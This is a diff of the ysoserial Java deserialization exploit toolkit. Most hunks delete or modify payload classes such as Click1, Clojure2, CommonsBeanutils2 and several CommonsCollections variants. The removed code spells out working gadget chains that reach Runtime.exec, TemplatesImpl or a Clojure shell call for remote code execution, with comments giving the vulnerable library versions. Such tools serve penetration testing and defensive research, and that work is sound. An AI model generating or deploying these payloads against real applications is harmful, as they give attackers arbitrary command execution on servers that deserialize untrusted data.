||||
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
|
||||
|
||||
// set values using reflection
|
||||
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
|
||||
Reflections.setFieldValue(rcut, "providerUrl", url);
|
||||
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
|
||||
|
||||
// create exception
|
||||
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(exception, "val", rcut);
|
||||
|
||||
return exception;
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(Atomikos.class, args);
|
||||
}
|
||||
}
|
||||
@@ -38,7 +38,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
|
||||
@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
|
||||
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class C3P0 implements ObjectPayload<Object> {
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import com.redhat.ceylon.compiler.java.language.SerializationProxy;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
|
||||
@Authors({ Authors.KULLRICH })
|
||||
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
|
||||
public class Ceylon implements ObjectPayload<Object>
|
||||
{
|
||||
|
||||
//
|
||||
// Probably the simplest deser gadget ever ;-)
|
||||
//
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
|
||||
}
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.click.control.Column;
|
||||
import org.apache.click.control.Table;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/*
|
||||
Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
||||
We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
||||
After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
||||
|
||||
Chain:
|
||||
|
||||
java.util.PriorityQueue.readObject()
|
||||
java.util.PriorityQueue.heapify()
|
||||
java.util.PriorityQueue.siftDown()
|
||||
java.util.PriorityQueue.siftDownUsingComparator()
|
||||
org.apache.click.control.Column$ColumnComparator.compare()
|
||||
org.apache.click.control.Column.getProperty()
|
||||
org.apache.click.control.Column.getProperty()
|
||||
org.apache.click.util.PropertyUtils.getValue()
|
||||
org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
||||
java.lang.reflect.Method.invoke()
|
||||
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||
...
|
||||
|
||||
Arguments:
|
||||
- command to execute
|
||||
|
||||
Yields:
|
||||
- RCE via TemplatesImpl.getOutputProperties()
|
||||
|
||||
Requires:
|
||||
- Apache Click
|
||||
- servlet-api of any version
|
||||
|
||||
by @artsploit
|
||||
*/
|
||||
@SuppressWarnings({ "rawtypes", "unchecked" })
|
||||
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
||||
@Authors({ Authors.ARTSPLOIT })
|
||||
public class Click1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(final String command) throws Exception {
|
||||
|
||||
// prepare a Column.comparator with mock values
|
||||
final Column column = new Column("lowestSetBit");
|
||||
column.setTable(new Table());
|
||||
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
||||
|
||||
// create queue with numbers and our comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
// switch method called by the comparator,
|
||||
// so it will trigger getOutputProperties() when objects in the queue are compared
|
||||
column.setName("outputProperties");
|
||||
|
||||
// finally, we inject and new TemplatesImpl object into the queue,
|
||||
// so its getOutputProperties() method will be called
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
queueArray[0] = templates;
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Click1.class, args);
|
||||
}
|
||||
}
|
||||
@@ -1,61 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import clojure.lang.Iterate;
|
||||
import ysoserial.Strings;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
HashMap.readObject()
|
||||
clojure.lang.ASeq.hashCode()
|
||||
clojure.lang.Iterate.first() -> null
|
||||
clojure.lang.Iterate.next() -> new Iterate(f, null, UNREALIZED_SEED)
|
||||
clojure.lang.Iterate.first() -> this.f.invoke(null)
|
||||
clojure.core$constantly$fn__4614.invoke()
|
||||
clojure.main$eval_opt.invoke()
|
||||
|
||||
Requires:
|
||||
org.clojure:clojure
|
||||
Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java.
|
||||
Versions up to 1.10.0-alpha4 are known to be vulnerable.
|
||||
*/
|
||||
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public class Clojure2 extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
|
||||
|
||||
public Map<?, ?> getObject(final String command) throws Exception {
|
||||
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
|
||||
|
||||
final String clojurePayload =
|
||||
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
|
||||
|
||||
Iterate model = Reflections.createWithoutConstructor(Iterate.class);
|
||||
Object evilFn =
|
||||
new clojure.core$comp().invoke(
|
||||
new clojure.main$eval_opt(),
|
||||
new clojure.core$constantly().invoke(clojurePayload));
|
||||
|
||||
// Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable()
|
||||
// ends up triggering the payload in an infinite loop as it tries to compute the hashCode.
|
||||
evilFn = new clojure.core$comp().invoke(
|
||||
new clojure.main$eval_opt(),
|
||||
new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"),
|
||||
evilFn);
|
||||
|
||||
Reflections.setFieldValue(model, "f", evilFn);
|
||||
return Gadgets.makeMap(model, null);
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Clojure2.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
// Origin Detective is PHITHON From
|
||||
// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({Authors.K4n5ha0})
|
||||
public class CommonsBeanutils2 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(final String command) throws Exception {
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
// mock method name until armed
|
||||
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
// create queue with numbers and basic comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
// switch method called by comparator
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
// switch contents of queue
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = templates;
|
||||
queueArray[1] = templates;
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsBeanutils2.class, args);
|
||||
}
|
||||
}
|
||||
@@ -25,8 +25,9 @@ import ysoserial.payloads.util.Reflections;
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
BadAttributeValueExpException.readObject()
|
||||
TiedMapEntry.toString()
|
||||
AnnotationInvocationHandler.readObject()
|
||||
Map(Proxy).entrySet()
|
||||
AnnotationInvocationHandler.invoke()
|
||||
LazyMap.get()
|
||||
ChainedTransformer.transform()
|
||||
ConstantTransformer.transform()
|
||||
@@ -48,6 +49,7 @@ This only works in JDK 8u76 and WITHOUT a security manager
|
||||
|
||||
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
|
||||
*/
|
||||
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@@ -80,7 +82,7 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
Reflections.setAccessible(valfield);
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, entry);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||
|
||||
@@ -9,7 +9,6 @@ import org.apache.commons.collections.map.LazyMap;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Field;
|
||||
@@ -71,7 +70,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
f.setAccessible(true);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
@@ -81,7 +80,8 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
|
||||
f2.setAccessible(true);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
@@ -96,7 +96,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.setAccessible(true);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
|
||||
@@ -1,87 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
/*
|
||||
Payload method chain:
|
||||
|
||||
java.util.Hashtable.readObject
|
||||
java.util.Hashtable.reconstitutionPut
|
||||
org.apache.commons.collections.map.AbstractMapDecorator.equals
|
||||
java.util.AbstractMap.equals
|
||||
org.apache.commons.collections.map.LazyMap.get
|
||||
org.apache.commons.collections.functors.ChainedTransformer.transform
|
||||
org.apache.commons.collections.functors.InvokerTransformer.transform
|
||||
java.lang.reflect.Method.invoke
|
||||
sun.reflect.DelegatingMethodAccessorImpl.invoke
|
||||
sun.reflect.NativeMethodAccessorImpl.invoke
|
||||
sun.reflect.NativeMethodAccessorImpl.invoke0
|
||||
java.lang.Runtime.exec
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
|
||||
|
||||
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {
|
||||
|
||||
public Hashtable getObject(final String command) throws Exception {
|
||||
|
||||
// Reusing transformer chain and LazyMap gadgets from previous payloads
|
||||
final String[] execArgs = new String[]{command};
|
||||
|
||||
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
||||
|
||||
final Transformer[] transformers = new Transformer[]{
|
||||
new ConstantTransformer(Runtime.class),
|
||||
new InvokerTransformer("getMethod",
|
||||
new Class[]{String.class, Class[].class},
|
||||
new Object[]{"getRuntime", new Class[0]}),
|
||||
new InvokerTransformer("invoke",
|
||||
new Class[]{Object.class, Object[].class},
|
||||
new Object[]{null, new Object[0]}),
|
||||
new InvokerTransformer("exec",
|
||||
new Class[]{String.class},
|
||||
execArgs),
|
||||
new ConstantTransformer(1)};
|
||||
|
||||
Map innerMap1 = new HashMap();
|
||||
Map innerMap2 = new HashMap();
|
||||
|
||||
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
|
||||
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
|
||||
lazyMap1.put("yy", 1);
|
||||
|
||||
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
|
||||
lazyMap2.put("zZ", 1);
|
||||
|
||||
// Use the colliding Maps as keys in Hashtable
|
||||
Hashtable hashtable = new Hashtable();
|
||||
hashtable.put(lazyMap1, 1);
|
||||
hashtable.put(lazyMap2, 2);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
|
||||
// Needed to ensure hash collision after previous manipulations
|
||||
lazyMap2.remove("yy");
|
||||
|
||||
return hashtable;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsCollections7.class, args);
|
||||
}
|
||||
}
|
||||
@@ -1,56 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.commons.collections4.bag.TreeBag;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
org.apache.commons.collections4.bag.TreeBag.readObject
|
||||
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
|
||||
java.util.TreeMap.put
|
||||
java.util.TreeMap.compare
|
||||
org.apache.commons.collections4.comparators.TransformingComparator.compare
|
||||
org.apache.commons.collections4.functors.InvokerTransformer.transform
|
||||
java.lang.reflect.Method.invoke
|
||||
sun.reflect.DelegatingMethodAccessorImpl.invoke
|
||||
sun.reflect.NativeMethodAccessorImpl.invoke
|
||||
sun.reflect.NativeMethodAccessorImpl.invoke0
|
||||
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
|
||||
... (TemplatesImpl gadget)
|
||||
java.lang.Runtime.exec
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
@Authors({ Authors.NAVALORENZO })
|
||||
public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<TreeBag> {
|
||||
|
||||
public TreeBag getObject(final String command) throws Exception {
|
||||
Object templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
// setup harmless chain
|
||||
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
|
||||
// define the comparator used for sorting
|
||||
TransformingComparator comp = new TransformingComparator(transformer);
|
||||
|
||||
// prepare CommonsCollections object entry point
|
||||
TreeBag tree = new TreeBag(comp);
|
||||
tree.add(templates);
|
||||
|
||||
// arm transformer
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
|
||||
return tree;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsCollections8.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,102 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import org.apache.commons.collections.map.DefaultedMap;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
AnnotationInvocationHandler.readObject()
|
||||
Map(Proxy).entrySet()
|
||||
AnnotationInvocationHandler.invoke()
|
||||
DefaultedMap.get()
|
||||
ChainedTransformer.transform()
|
||||
ConstantTransformer.transform()
|
||||
InvokerTransformer.transform()
|
||||
Method.invoke()
|
||||
Class.getMethod()
|
||||
InvokerTransformer.transform()
|
||||
Method.invoke()
|
||||
Runtime.getRuntime()
|
||||
InvokerTransformer.transform()
|
||||
Method.invoke()
|
||||
Runtime.exec()
|
||||
|
||||
Requires:
|
||||
commons-collections
|
||||
*/
|
||||
/*
|
||||
This only works in JDK 8u76 and WITHOUT a security manager
|
||||
|
||||
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
|
||||
*/
|
||||
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
@Authors({ Authors.MEIZJM3I})
|
||||
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
|
||||
|
||||
public BadAttributeValueExpException getObject(final String command) throws Exception {
|
||||
final String[] execArgs = new String[] { command };
|
||||
// inert chain for setup
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{ new ConstantTransformer(1) });
|
||||
// real chain for after setup
|
||||
final Transformer[] transformers = new Transformer[] {
|
||||
new ConstantTransformer(Runtime.class),
|
||||
new InvokerTransformer("getMethod", new Class[] {
|
||||
String.class, Class[].class }, new Object[] {
|
||||
"getRuntime", new Class[0] }),
|
||||
new InvokerTransformer("invoke", new Class[] {
|
||||
Object.class, Object[].class }, new Object[] {
|
||||
null, new Object[0] }),
|
||||
new InvokerTransformer("exec",
|
||||
new Class[] { String.class }, execArgs),
|
||||
new ConstantTransformer(1) };
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
|
||||
|
||||
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, entry);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsCollections5.class, args);
|
||||
}
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -14,7 +14,6 @@ import org.apache.commons.io.output.ThresholdingOutputStream;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
@@ -41,12 +40,9 @@ import ysoserial.payloads.util.Reflections;
|
||||
"commons-fileupload:commons-fileupload:1.3.1",
|
||||
"commons-io:commons-io:2.4"
|
||||
} )
|
||||
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
|
||||
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public DiskFileItem getObject ( String command ) throws Exception {
|
||||
|
||||
|
||||
@@ -5,8 +5,6 @@ import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
|
||||
import org.hibernate.engine.spi.TypedValue;
|
||||
import org.hibernate.tuple.component.AbstractComponentTuplizer;
|
||||
@@ -14,12 +12,9 @@ import org.hibernate.tuple.component.PojoComponentTuplizer;
|
||||
import org.hibernate.type.AbstractType;
|
||||
import org.hibernate.type.ComponentType;
|
||||
import org.hibernate.type.Type;
|
||||
import org.hibernate.EntityMode;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
@@ -42,11 +37,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
* @author mbechler
|
||||
*/
|
||||
@Authors({ Authors.MBECHLER })
|
||||
@PayloadTest(precondition = "isApplicableJavaVersion")
|
||||
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public static String[] getDependencies () {
|
||||
if ( System.getProperty("hibernate5") != null ) {
|
||||
@@ -78,7 +69,7 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
|
||||
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
|
||||
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
|
||||
Reflections.setAccessible(bgCon);
|
||||
bgCon.setAccessible(true);
|
||||
|
||||
if ( !method.startsWith("get") ) {
|
||||
throw new IllegalArgumentException("Hibernate4 can only call getters");
|
||||
@@ -114,15 +105,6 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
|
||||
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
|
||||
if ( System.getProperty("hibernate3") != null ) {
|
||||
return makeHibernate3Caller(tpl, getters);
|
||||
}
|
||||
return makeHibernate45Caller(tpl, getters);
|
||||
}
|
||||
|
||||
|
||||
static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
|
||||
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
|
||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||
|
||||
@@ -145,40 +127,6 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
}
|
||||
|
||||
|
||||
static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
|
||||
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
|
||||
// Load at runtime to avoid dependency conflicts
|
||||
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
|
||||
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
|
||||
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
|
||||
|
||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
|
||||
|
||||
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||
HashMap hm = new HashMap();
|
||||
hm.put(EntityMode.POJO, tup);
|
||||
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
|
||||
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
|
||||
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||
Reflections.setFieldValue(t, "propertyTypes", new Type[] {
|
||||
t
|
||||
});
|
||||
|
||||
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
|
||||
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||
Reflections.setFieldValue(v1, "value", tpl);
|
||||
Reflections.setFieldValue(v1, "type", t);
|
||||
|
||||
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||
Reflections.setFieldValue(v2, "value", tpl);
|
||||
Reflections.setFieldValue(v2, "type", t);
|
||||
|
||||
return Gadgets.makeMap(v1, v2);
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(Hibernate1.class, args);
|
||||
}
|
||||
|
||||
@@ -3,7 +3,6 @@ package ysoserial.payloads;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
@@ -42,12 +41,9 @@ import com.sun.rowset.JdbcRowSetImpl;
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion")
|
||||
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public static String[] getDependencies () {
|
||||
return Hibernate1.getDependencies();
|
||||
|
||||
@@ -16,11 +16,8 @@ import org.jboss.interceptor.spi.model.InterceptionModel;
|
||||
import org.jboss.interceptor.spi.model.InterceptionType;
|
||||
